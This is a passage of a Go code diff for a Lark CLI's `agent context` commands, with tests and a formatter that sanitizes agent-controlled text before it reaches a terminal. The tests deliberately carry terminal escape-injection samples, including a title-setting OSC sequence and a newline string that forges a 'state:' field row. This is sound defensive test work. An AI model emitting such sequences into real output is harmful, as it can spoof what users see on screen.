+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/cmdutil"
+	"github.com/larksuite/cli/internal/core"
+	"github.com/larksuite/cli/internal/httpmock"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// contextCmdCtx builds a `lark-cli agent context <leaf>` command whose --as flag
+// is set to bot so ResolveAs honors it verbatim, and carries a context.
+func contextCmdCtx(t *testing.T, leaf string) *cobra.Command {
+	t.Helper()
+	root := &cobra.Command{Use: "lark-cli"}
+	group := &cobra.Command{Use: "agent"}
+	grp := &cobra.Command{Use: "context"}
+	l := &cobra.Command{Use: leaf}
+	root.AddCommand(group)
+	group.AddCommand(grp)
+	grp.AddCommand(l)
+	l.Flags().String("as", "", "identity")
+	if err := l.Flags().Set("as", "bot"); err != nil {
+		t.Fatal(err)
+	}
+	l.SetContext(context.Background())
+	return l
+}
+
+// contextTestOpts wires a contextOptions against a real (test) Factory,
+// addressing the scripted fakeflow agent agt_x under a bot identity. The
+// Factory's httpmock registry holds zero stubs, so any HTTP attempt fails the
+// test; provider behavior is scripted via setScripted.
+func contextTestOpts(t *testing.T, leaf string) (*contextOptions, *httpmock.Registry) {
+	t.Helper()
+	registerScripted()
+	cfg := &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu}
+	f, _, _, reg := cmdutil.TestFactory(t, cfg)
+	return &contextOptions{
+		Factory: f,
+		Cmd:     contextCmdCtx(t, leaf),
+		Ref:     "fakeflow:agt_x",
+		As:      "bot",
+	}, reg
+}
+
+// TestContextDeleteRequiresYes pins that `context delete` without --yes is a
+// confirmation_required error (exit 10), raised before any provider is built.
+func TestContextDeleteRequiresYes(t *testing.T) {
+	err := agentContextDeleteRun(&contextOptions{Ref: "example:agt_x", CtxID: "c1", Yes: false})
+	if err == nil {
+		t.Fatal("context delete without --yes should report confirmation_required")
+	}
+	if !errs.IsConfirmationRequired(err) {
+		t.Fatalf("should be a confirmation_required error, got %T", err)
+	}
+	if code := output.ExitCodeOf(err); code != output.ExitConfirmationRequired {
+		t.Fatalf("exit code should be 10, got %d", code)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeConfirmationRequired {
+		t.Fatalf("subtype should be confirmation_required, got %+v", p)
+	}
+}
+
+// TestContextDeleteWithYes pins the confirmed path: --yes reaches the provider,
+// deletes the session, and emits a success envelope.
+func TestContextDeleteWithYes(t *testing.T) {
+	opts, _ := contextTestOpts(t, "delete")
+	opts.CtxID = "sess_1"
+	opts.Yes = true
+	var deleted string
+	setScripted(t, scriptedHooks{deleteContext: func(ctxID string) error {
+		deleted = ctxID
+		return nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentContextDeleteRun(opts); err != nil {
+		t.Fatalf("context delete --yes should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if data["context_id"] != "sess_1" || data["deleted"] != true {
+		t.Errorf("data should echo {context_id, deleted:true}, got %v", env.Data)
+	}
+	if deleted != "sess_1" {
+		t.Errorf("provider should receive the context id to delete, got %q", deleted)
+	}
+}
+
+// TestContextDeleteProviderError surfaces a provider DeleteContext failure
+// (non-zero business code) after --yes passes.
+func TestContextDeleteProviderError(t *testing.T) {
+	opts, _ := contextTestOpts(t, "delete")
+	opts.CtxID = "sess_1"
+	opts.Yes = true
+	setScripted(t, scriptedHooks{deleteContext: func(string) error {
+		return errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
+	}})
+	if err := agentContextDeleteRun(opts); err == nil {
+		t.Fatal("a DeleteContext error should propagate")
+	}
+}
+
+// TestContextDeleteInvalidRef surfaces a malformed ref as a validation error
+// after the --yes confirmation guard passes.
+func TestContextDeleteInvalidRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentContextDeleteRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Yes: true, Cmd: contextCmdCtx(t, "delete"), As: "bot", Factory: f})
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestContextListEmitsContexts pins that `context list` returns
+// {contexts:[...]} with a meta.count.
+func TestContextListEmitsContexts(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
+		return []iagent.ContextSummary{
+			{ContextID: "sess_1", Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
+			{ContextID: "sess_2"},
+		}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("context list should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	contexts, ok := data["contexts"].([]interface{})
+	if !ok || len(contexts) != 2 {
+		t.Fatalf("data.contexts should have 2 entries, got %v", data["contexts"])
+	}
+	if env.Meta == nil || env.Meta.Count != 2 {
+		t.Errorf("meta.count should be 2, got %+v", env.Meta)
+	}
+}
+
+// TestContextListError surfaces a provider ListContexts failure.
+func TestContextListError(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
+		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
+	}})
+	if err := agentContextListRun(opts); err == nil {
+		t.Fatal("a ListContexts error should propagate")
+	}
+}
+
+// TestContextListInvalidRef surfaces a malformed ref as a validation error.
+func TestContextListInvalidRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentContextListRun(&contextOptions{Ref: "no-colon", Cmd: contextCmdCtx(t, "list"), As: "bot", Factory: f})
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestContextGetEmitsDetail pins that `context get` returns a single context
+// detail.
+func TestContextGetEmitsDetail(t *testing.T) {
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
+		return &iagent.ContextDetail{ContextID: ctxID, Title: "销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+
+	if err := agentContextGetRun(opts); err != nil {
+		t.Fatalf("context get should not error: %v", err)
+	}
+	var env output.Envelope
+	if err := json.Unmarshal(out.Bytes(), &env); err != nil {
+		t.Fatalf("output should be valid envelope JSON: %v (%s)", err, string(out.Bytes()))
+	}
+	data, _ := env.Data.(map[string]interface{})
+	if data["context_id"] != "sess_1" {
+		t.Errorf("data.context_id should be sess_1, got %v", data["context_id"])
+	}
+	if data["title"] != "销售分析" {
+		t.Errorf("data.title should be echoed, got %v", data["title"])
+	}
+}
+
+// TestContextGetError surfaces a provider GetContext failure.
+func TestContextGetError(t *testing.T) {
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	setScripted(t, scriptedHooks{getContext: func(string) (*iagent.ContextDetail, error) {
+		return nil, errs.NewAPIError(errs.SubtypeUnknown, "app ticket invalid").WithCode(99991663)
+	}})
+	if err := agentContextGetRun(opts); err == nil {
+		t.Fatal("a GetContext error should propagate")
+	}
+}
+
+// TestContextGetInvalidRef surfaces a malformed ref as a validation error.
+func TestContextGetInvalidRef(t *testing.T) {
+	f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{AppID: "cli_x", AppSecret: "fake-secret", Brand: core.BrandFeishu})
+	err := agentContextGetRun(&contextOptions{Ref: "no-colon", CtxID: "c1", Cmd: contextCmdCtx(t, "get"), As: "bot", Factory: f})
+	if err == nil {
+		t.Fatal("malformed ref should error")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+}
+
+// TestContextListWithJq exercises the --jq output branch for list.
+func TestContextListWithJq(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	opts.Cmd.Flags().String("jq", ".data.contexts | length", "")
+	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
+		return []iagent.ContextSummary{{ContextID: "sess_1"}}, nil
+	}})
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("context list --jq should not error: %v", err)
+	}
+}
+
+// TestContextListPretty exercises the --format pretty human-view branch for
+// list: header TSV rows (not a JSON envelope), with the agent-controlled Title
+// stripped of ANSI escapes.
+func TestContextListPretty(t *testing.T) {
+	opts, _ := contextTestOpts(t, "list")
+	opts.Format = "pretty"
+	setScripted(t, scriptedHooks{listContexts: func() ([]iagent.ContextSummary, error) {
+		return []iagent.ContextSummary{
+			{ContextID: "sess_1", Title: "\x1b[2J销售分析", CreatedAt: "2026-07-05T10:01:11+08:00"},
+		}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentContextListRun(opts); err != nil {
+		t.Fatalf("context list --format pretty should not error: %v", err)
+	}
+	s := string(out.Bytes())
+	if !strings.HasPrefix(s, "CONTEXT_ID\tCREATED_AT\tTITLE\n") {
+		t.Errorf("pretty output should start with a header row, got %q", s)
+	}
+	if !strings.Contains(s, "sess_1") || !strings.Contains(s, "销售分析") {
+		t.Errorf("pretty output should contain context_id and title, got %q", s)
+	}
+	if strings.Contains(s, "\x1b") {
+		t.Errorf("ANSI sequences in Title must be stripped: %q", s)
+	}
+	if strings.Contains(s, `"ok"`) {
+		t.Errorf("pretty output should be a human view, not a JSON envelope, got %q", s)
+	}
+}
+
+// TestContextGetWithJq pins the added --jq flag on context get: the envelope is
+// filtered through the jq expression.
+func TestContextGetWithJq(t *testing.T) {
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	opts.Cmd.Flags().String("jq", "", "")
+	if err := opts.Cmd.Flags().Set("jq", ".data.context_id"); err != nil {
+		t.Fatal(err)
+	}
+	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
+		return &iagent.ContextDetail{ContextID: ctxID}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentContextGetRun(opts); err != nil {
+		t.Fatalf("context get --jq should not error: %v", err)
+	}
+	got := strings.TrimSpace(string(out.Bytes()))
+	if !strings.Contains(got, "sess_1") || strings.Contains(got, `"ok"`) {
+		t.Errorf("--jq .data.context_id should output only the filtered result, got %q", got)
+	}
+}
+
+// TestContextGetPretty pins the added --format pretty branch on context get:
+// key: value lines with the tasks count, title ANSI-stripped.
+func TestContextGetPretty(t *testing.T) {
+	opts, _ := contextTestOpts(t, "get")
+	opts.CtxID = "sess_1"
+	opts.Format = "pretty"
+	setScripted(t, scriptedHooks{getContext: func(ctxID string) (*iagent.ContextDetail, error) {
+		return &iagent.ContextDetail{
+			ContextID: ctxID, Title: "\x1b[31m销售分析\x1b[0m",
+			Tasks: []iagent.TaskSummary{{TaskID: "chat_1", State: iagent.StateCompleted, IsTerminal: true}},
+		}, nil
+	}})
+	out := opts.Factory.IOStreams.Out.(interface{ Bytes() []byte })
+	if err := agentContextGetRun(opts); err != nil {
+		t.Fatalf("context get --format pretty should not error: %v", err)
+	}
+	s := string(out.Bytes())
+	for _, want := range []string{"context_id: sess_1", "title: 销售分析", "tasks: 1"} {
+		if !strings.Contains(s, want) {
+			t.Errorf("pretty output should contain %q, got %q", want, s)
+		}
+	}
+	if strings.Contains(s, "\x1b") {
+		t.Errorf("ANSI sequences in title must be stripped: %q", s)
+	}
+}
+
+// findSub returns the direct subcommand of cmd whose Name() == name, or nil.
+func findSub(cmd *cobra.Command, name string) *cobra.Command {
+	for _, c := range cmd.Commands() {
+		if c.Name() == name {
+			return c
+		}
+	}
+	return nil
+}
+
+// TestNewCmdAgentContext_GroupHasSubcommands pins the group is a pure group (no
+// RunE) with list/get/delete leaves.
+func TestNewCmdAgentContext_GroupHasSubcommands(t *testing.T) {
+	cmd := NewCmdAgentContext(nil)
+	if cmd.RunE != nil || cmd.Run != nil {
+		t.Error("agent context group should not have RunE")
+	}
+	want := []string{"list", "get", "delete"}
+	for _, name := range want {
+		if findSub(cmd, name) == nil {
+			t.Errorf("missing subcommand context %s", name)
+		}
+	}
+}
+
+// TestNewCmdAgentContextList_ReadRisk pins list = read risk, ExactArgs(1), and
+// the default flip: --format defaults to json.
+func TestNewCmdAgentContextList_ReadRisk(t *testing.T) {
+	cmd := NewCmdAgentContextList(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
+		t.Errorf("context list should be marked read risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{}); err == nil {
+		t.Error("context list missing ref should report an argument error (ExactArgs 1)")
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err != nil {
+		t.Errorf("context list with a single ref should be valid: %v", err)
+	}
+	fl := cmd.Flags().Lookup("format")
+	if fl == nil || fl.DefValue != "json" {
+		t.Errorf("context list --format default should flip to json, got %+v", fl)
+	}
+}
+
+// TestNewCmdAgentContextGet_ReadRisk pins get = read risk, ExactArgs(2), and
+// the added --format / --jq flags.
+func TestNewCmdAgentContextGet_ReadRisk(t *testing.T) {
+	cmd := NewCmdAgentContextGet(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskRead {
+		t.Errorf("context get should be marked read risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
+		t.Error("context get missing ctx-id should report an argument error (ExactArgs 2)")
+	}
+	if err := cmd.Args(cmd, []string{"example:x", "c1"}); err != nil {
+		t.Errorf("context get ref+ctx-id should be valid: %v", err)
+	}
+	for _, name := range []string{"format", "jq"} {
+		if cmd.Flags().Lookup(name) == nil {
+			t.Errorf("context get should have a --%s flag", name)
+		}
+	}
+}
+
+// TestNewCmdAgentContextDelete_HighRiskWrite pins delete = high-risk-write risk,
+// ExactArgs(2), a --yes flag, and the added --format / --jq flags.
+func TestNewCmdAgentContextDelete_HighRiskWrite(t *testing.T) {
+	cmd := NewCmdAgentContextDelete(nil)
+	if level, ok := cmdutil.GetRisk(cmd); !ok || level != cmdutil.RiskHighRiskWrite {
+		t.Errorf("context delete should be marked high-risk-write risk, got level=%q ok=%v", level, ok)
+	}
+	if err := cmd.Args(cmd, []string{"example:x"}); err == nil {
+		t.Error("context delete missing ctx-id should report an argument error (ExactArgs 2)")
+	}
+	if cmd.Flags().Lookup("yes") == nil {
+		t.Error("context delete should have a --yes flag")
+	}
+	for _, name := range []string{"format", "jq"} {
+		if cmd.Flags().Lookup(name) == nil {
+			t.Errorf("context delete should have a --%s flag", name)
+		}
+	}
+}

cmd/agent/format.go

@@ -0,0 +1,183 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+// This file holds the --format surface shared by every agent leaf: value
+// validation, the pretty renderers (task key:value view, list
+// header-TSV views) with ANSI stripping for agent-controlled text, and the
+// arg-count validators that wrap cobra's bare "accepts N arg(s)" into a typed
+// validation error carrying a 用法 hint.
+package agent
+
+import (
+	"fmt"
+	"io"
+	"strings"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/validate"
+)
+
+// formatFlagHelp is the uniform --format help text across every agent leaf
+// (json is the tree-wide default, pretty the human opt-in).
+const formatFlagHelp = "output format: json (default) | pretty"
+
+// validateFormat rejects any --format outside json|pretty as a
+// validation/invalid_argument error (exit 2). The empty string is accepted for
+// options structs built directly in tests; the registered flag default is
+// "json" so a CLI invocation never passes "".
+func validateFormat(format string) error {
+	switch format {
+	case "", "json", "pretty":
+		return nil
+	}
+	return errs.NewValidationError(errs.SubtypeInvalidArgument,
+		"不支持的 --format 值 %q", format).
+		WithParam("--format").
+		WithHint("合法值: json | pretty")
+}
+
+// stripANSI sanitizes agent-controlled text before it is written raw to a
+// terminal by a pretty renderer, preventing terminal escape-sequence injection.
+// It delegates to validate.SanitizeForTerminal, which is a superset of the
+// mandated CSI regex:
+// it also drops OSC sequences, bare ESC / C0 control bytes and dangerous
+// Unicode. JSON output paths must NOT use this — programmatic consumers get
+// the raw data.
+func stripANSI(s string) string {
+	return validate.SanitizeForTerminal(s)
+}
+
+// kvValue sanitizes an agent-controlled value for a single-line "key: value"
+// pretty row: ANSI-stripped, then \n/\t collapsed to single spaces —
+// SanitizeForTerminal deliberately preserves those, so without this a value
+// like "done\nstate: completed" would forge an adjacent field row. TSV
+// renderers keep plain stripANSI under their documented no-escape exemption.
+func kvValue(s string) string {
+	s = stripANSI(s)
+	s = strings.ReplaceAll(s, "\n", " ")
+	return strings.ReplaceAll(s, "\t", " ")
+}
+
+// truncateRunes caps s at max runes, appending an ellipsis when truncated.
+func truncateRunes(s string, max int) string {
+	r := []rune(s)
+	if len(r) <= max {
+		return s
+	}
+	return string(r[:max]) + "…"
+}
+
+// firstTextOf returns the first text Part carried by the task's messages
+// (the first text message), or "".
+func firstTextOf(task *iagent.AgentTask) string {
+	for _, m := range task.Messages {
+		for _, p := range m.Parts {
+			if p.Type == "text" && p.Text != "" {
+				return p.Text
+			}
+		}
+	}
+	return ""
+}
+
+// printTaskPretty renders the task-class pretty view: line-per-field
+// key: value with state / task_id / context_id / first text message truncated
+// to 120 runes / artifacts count. Every agent-controlled string goes through
+// kvValue (ANSI strip + newline/tab neutralization) so it can neither inject
+// terminal sequences nor forge an adjacent field row.
+func printTaskPretty(w io.Writer, task *iagent.AgentTask) {
+	if task == nil {
+		fmt.Fprintln(w, "(no task)")
+		return
+	}
+	fmt.Fprintf(w, "state: %s\n", task.State)
+	fmt.Fprintf(w, "task_id: %s\n", kvValue(task.TaskID))
+	if task.ContextID != "" {
+		fmt.Fprintf(w, "context_id: %s\n", kvValue(task.ContextID))
+	}
+	if text := firstTextOf(task); text != "" {
+		fmt.Fprintf(w, "text: %s\n", truncateRunes(kvValue(text), 120))
+	}
+	fmt.Fprintf(w, "artifacts: %d\n", len(task.Artifacts))
+}
+
+// TSV renderers below intentionally do not escape tab/newline in cell values:
+// a value containing them breaks the column layout. The agent's primary
+// consumption surface is json; pretty is for human inspection only, so leaving
+// them unescaped is acceptable.
+
+// printTaskSummariesTSV renders the list-class pretty view for tasks:
+// a header row naming the json fields, then one row per task.
+func printTaskSummariesTSV(w io.Writer, tasks []iagent.TaskSummary) {
+	fmt.Fprintf(w, "TASK_ID\tCONTEXT_ID\tSTATE\tIS_TERMINAL\n")
+	for _, t := range tasks {
+		fmt.Fprintf(w, "%s\t%s\t%s\t%t\n", stripANSI(t.TaskID), stripANSI(t.ContextID), t.State, t.IsTerminal)
+	}
+}
+
+// printContextsTSV renders the list-class pretty view for contexts. The
+// Title is agent-controlled and must be ANSI-stripped.
+func printContextsTSV(w io.Writer, contexts []iagent.ContextSummary) {
+	fmt.Fprintf(w, "CONTEXT_ID\tCREATED_AT\tTITLE\n")
+	for _, c := range contexts {
+		fmt.Fprintf(w, "%s\t%s\t%s\n", stripANSI(c.ContextID), c.CreatedAt, stripANSI(c.Title))
+	}
+}
+
+// printContextDetailPretty renders `context get --format pretty` as key: value
+// lines with the tasks count; the agent-controlled Title (and the id) go
+// through kvValue so they cannot forge adjacent field rows.
+func printContextDetailPretty(w io.Writer, detail *iagent.ContextDetail) {
+	if detail == nil {
+		fmt.Fprintln(w, "(no context)")
+		return
+	}
+	fmt.Fprintf(w, "context_id: %s\n", kvValue(detail.ContextID))
+	if detail.CreatedAt != "" {
+		fmt.Fprintf(w, "created_at: %s\n", detail.CreatedAt)
+	}
+	if detail.Title != "" {
+		fmt.Fprintf(w, "title: %s\n", kvValue(detail.Title))
+	}
+	fmt.Fprintf(w, "tasks: %d\n", len(detail.Tasks))
+}
+
+// usageHintOf builds the "用法: <command path> <positional shape>" hint from
+// the executing command's Use line, so the hint never drifts from the
+// registered Use string.
+func usageHintOf(cmd *cobra.Command) string {
+	if _, shape, ok := strings.Cut(cmd.Use, " "); ok {
+		return fmt.Sprintf("用法: %s %s", cmd.CommandPath(), shape)
+	}
+	return "用法: " + cmd.CommandPath()
+}
+
+// exactArgsWithUsage is cobra.ExactArgs wrapped into a typed validation error
+// (exit 2) whose hint carries the full usage string — cobra's bare English
+// "accepts 2 arg(s), received 1" never says WHAT is missing.
+func exactArgsWithUsage(n int) cobra.PositionalArgs {
+	return func(cmd *cobra.Command, args []string) error {
+		if len(args) != n {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"需要 %d 个位置参数，收到 %d 个", n, len(args)).
+				WithHint("%s", usageHintOf(cmd))
+		}
+		return nil
+	}
+}
+
+// maximumArgsWithUsage is the cobra.MaximumNArgs counterpart of
+// exactArgsWithUsage, for leaves with an optional positional (agent list).
+func maximumArgsWithUsage(n int) cobra.PositionalArgs {
+	return func(cmd *cobra.Command, args []string) error {
+		if len(args) > n {
+			return errs.NewValidationError(errs.SubtypeInvalidArgument,
+				"最多接受 %d 个位置参数，收到 %d 个", n, len(args)).
+				WithHint("%s", usageHintOf(cmd))
+		}
+		return nil
+	}
+}

cmd/agent/format_test.go

@@ -0,0 +1,352 @@
+// Copyright (c) 2026 Lark Technologies Pte. Ltd.
+// SPDX-License-Identifier: MIT
+
+package agent
+
+import (
+	"bytes"
+	"encoding/json"
+	"errors"
+	"strings"
+	"testing"
+
+	"github.com/spf13/cobra"
+
+	"github.com/larksuite/cli/errs"
+	iagent "github.com/larksuite/cli/internal/agent"
+	"github.com/larksuite/cli/internal/output"
+)
+
+// TestValidateFormat_Valid pins that json/pretty (and the zero value, which
+// only occurs when options structs are built directly in tests) pass.
+func TestValidateFormat_Valid(t *testing.T) {
+	for _, f := range []string{"", "json", "pretty"} {
+		if err := validateFormat(f); err != nil {
+			t.Errorf("format %q should be valid: %v", f, err)
+		}
+	}
+}
+
+// TestValidateFormat_Invalid pins that a --format outside json|pretty is a
+// validation/invalid_argument error (exit 2) whose hint lists the legal values
+// and whose param names the flag with the -- prefix.
+func TestValidateFormat_Invalid(t *testing.T) {
+	err := validateFormat("yaml")
+	if err == nil {
+		t.Fatal("--format yaml should error (currently silently treated as json)")
+	}
+	if !errs.IsValidation(err) {
+		t.Fatalf("should be a validation error, got %T", err)
+	}
+	p, ok := errs.ProblemOf(err)
+	if !ok || p.Subtype != errs.SubtypeInvalidArgument {
+		t.Fatalf("subtype should be invalid_argument, got %+v", p)
+	}
+	if output.ExitCodeOf(err) != output.ExitValidation {
+		t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
+	}
+	if !strings.Contains(p.Hint, "json | pretty") {
+		t.Errorf("hint should list the legal values json | pretty, got %q", p.Hint)
+	}
+	var verr *errs.ValidationError
+	if !errors.As(err, &verr) || verr.Param != "--format" {
+		t.Errorf("param should be --format, got %+v", verr)
+	}
+}
+
+// agentRootTree builds `lark-cli agent ...` as production wires it (root Use
+// lark-cli), with a nil Factory: format validation must fire at the RunE
+// entry, before any Factory access.
+func agentRootTree() *cobra.Command {
+	root := &cobra.Command{Use: "lark-cli", SilenceUsage: true, SilenceErrors: true}
+	root.AddCommand(NewCmdAgent(nil))
+	return root
+}
+
+// TestFormatYamlRejectedAcrossLeaves pins that EVERY leaf of the agent tree
+// consumes validateFormat: `--format yaml` is exit 2 with the json|pretty
+// hint, uniformly, before any provider/Factory is touched.
+func TestFormatYamlRejectedAcrossLeaves(t *testing.T) {
+	leaves := [][]string{
+		{"agent", "list", "--format", "yaml"},
+		{"agent", "card", "example:x", "--format", "yaml"},
+		{"agent", "send", "example:x", "--text", "hi", "--format", "yaml"},
+		{"agent", "task", "get", "example:x", "t1", "--format", "yaml"},
+		{"agent", "task", "list", "example:x", "--format", "yaml"},
+		{"agent", "task", "cancel", "example:x", "t1", "--format", "yaml"},
+		{"agent", "context", "list", "example:x", "--format", "yaml"},
+		{"agent", "context", "get", "example:x", "c1", "--format", "yaml"},
+		{"agent", "context", "delete", "example:x", "c1", "--yes", "--format", "yaml"},
+	}
+	for _, argv := range leaves {
+		t.Run(strings.Join(argv[:len(argv)-2], " "), func(t *testing.T) {
+			root := agentRootTree()
+			root.SetOut(&bytes.Buffer{})
+			root.SetErr(&bytes.Buffer{})
+			root.SetArgs(argv)
+			err := root.Execute()
+			if err == nil {
+				t.Fatalf("%v should report a --format validation error", argv)
+			}
+			if !errs.IsValidation(err) {
+				t.Fatalf("should be a validation error, got %T: %v", err, err)
+			}
+			if output.ExitCodeOf(err) != output.ExitValidation {
+				t.Fatalf("exit should be 2, got %d", output.ExitCodeOf(err))
+			}
+			p, ok := errs.ProblemOf(err)
+			if !ok || !strings.Contains(p.Hint, "json | pretty") {
+				t.Errorf("hint should contain json | pretty, got %+v", p)
+			}
+		})
+	}
+}
+
+// TestFormatHelpTextUniform pins the mandated uniform help text
+// "output format: json (default) | pretty" across every leaf that has --format.
+func TestFormatHelpTextUniform(t *testing.T) {
+	cmds := map[string]*cobra.Command{
+		"list":           NewCmdAgentList(nil),
+		"card":           NewCmdAgentCard(nil),
+		"send":           NewCmdAgentSend(nil, nil),
+		"task get":       NewCmdAgentTaskGet(nil),
+		"task list":      NewCmdAgentTaskList(nil),
+		"task cancel":    NewCmdAgentTaskCancel(nil),
+		"context list":   NewCmdAgentContextList(nil),
+		"context get":    NewCmdAgentContextGet(nil),
+		"context delete": NewCmdAgentContextDelete(nil),
+	}
+	for name, cmd := range cmds {
+		fl := cmd.Flags().Lookup("format")
+		if fl == nil {
+			t.Errorf("%s should have a --format flag", name)
+			continue
+		}
+		if fl.DefValue != "json" {
+			t.Errorf("%s --format default should be json, got %q", name, fl.DefValue)
+		}
+		if fl.Usage != "output format: json (default) | pretty" {
+			t.Errorf("%s --format help should be uniform, got %q", name, fl.Usage)
+		}
+	}
+}
+
+// TestStripANSI pins that CSI sequences, OSC sequences and bare ESC bytes are
+// all removed before agent text reaches a terminal.
+func TestStripANSI(t *testing.T) {
+	for _, tt := range []struct{ in, want string }{
+		{"before\x1b[31mred\x1b[0mafter", "beforeredafter"},
+		{"a\x1bb", "ab"}, // bare ESC
+		{"t\x1b]0;evil\x07x", "tx"},
+		{"clean 文本", "clean 文本"},
+	} {
+		if got := stripANSI(tt.in); got != tt.want {
+			t.Errorf("stripANSI(%q) = %q, want %q", tt.in, got, tt.want)
+		}
+	}
+}
+
+// TestPrintTaskPretty pins the task-class pretty spec: line-per-field
+// key: value with state / task_id / context_id / first text message truncated
+// to 120 runes / artifacts count — and the agent-controlled text stripped of
+// ANSI escapes.
+func TestPrintTaskPretty(t *testing.T) {
+	long := strings.Repeat("字", 130)
+	task := &iagent.AgentTask{
+		TaskID:    "chat_1",
+		ContextID: "sess_1",
+		State:     iagent.StateCompleted,
+		Messages: []iagent.Message{{
+			Role:  "agent",
+			Parts: []iagent.Part{{Type: "text", Text: "\x1b[31m" + long + "\x1b[0m"}},
+		}},
+		Artifacts: []iagent.Artifact{{ID: "a1"}, {ID: "a2"}},
+	}
+	out := &bytes.Buffer{}
+	printTaskPretty(out, task)
+	text := out.String()
+
+	for _, want := range []string{"state: completed", "task_id: chat_1", "context_id: sess_1", "artifacts: 2"} {
+		if !strings.Contains(text, want) {
+			t.Errorf("pretty output should contain %q, got:\n%s", want, text)
+		}
+	}
+	if strings.Contains(text, "\x1b") {
+		t.Errorf("ANSI sequences in agent body text must be stripped: %q", text)
+	}
+	if strings.Contains(text, long) {
+		t.Errorf("body should be truncated to 120 chars, the full 130-char body should not appear")
+	}
+	if !strings.Contains(text, strings.Repeat("字", 120)) {
+		t.Errorf("body should keep the first 120 chars, got:\n%s", text)
+	}
+	var env output.Envelope
+	if json.Unmarshal(out.Bytes(), &env) == nil && env.OK {
+		t.Errorf("pretty should not be a JSON envelope: %s", text)
+	}
+}
+
+// TestPrintTaskPretty_NewlineForgeryNeutralized pins the key:value forgery
+// fix: agent text containing newlines must not be able to fake an adjacent
+// field row ("done\nstate: completed") — \n/\t in single-line values collapse
+// to spaces, so exactly one state: line exists.
+func TestPrintTaskPretty_NewlineForgeryNeutralized(t *testing.T) {
+	task := &iagent.AgentTask{
+		TaskID: "chat_1",
+		State:  iagent.StateFailed,
+		Messages: []iagent.Message{{
+			Role:  "agent",
+			Parts: []iagent.Part{{Type: "text", Text: "done\nstate: completed\tok"}},
+		}},
+	}
+	out := &bytes.Buffer{}
+	printTaskPretty(out, task)
+
+	var stateLines int
+	for _, line := range strings.Split(out.String(), "\n") {
+		if strings.HasPrefix(line, "state: ") {
+			stateLines++
+		}
+	}
+	if stateLines != 1 {
+		t.Fatalf("body newlines must not forge an adjacent field row; there should be exactly 1 state: line, got %d:\n%s", stateLines, out.String())
+	}
+	if !strings.Contains(out.String(), "state: failed") {
+		t.Errorf("the real state line should remain, got:\n%s", out.String())
+	}
+	if !strings.Contains(out.String(), "text: done state: completed ok") {
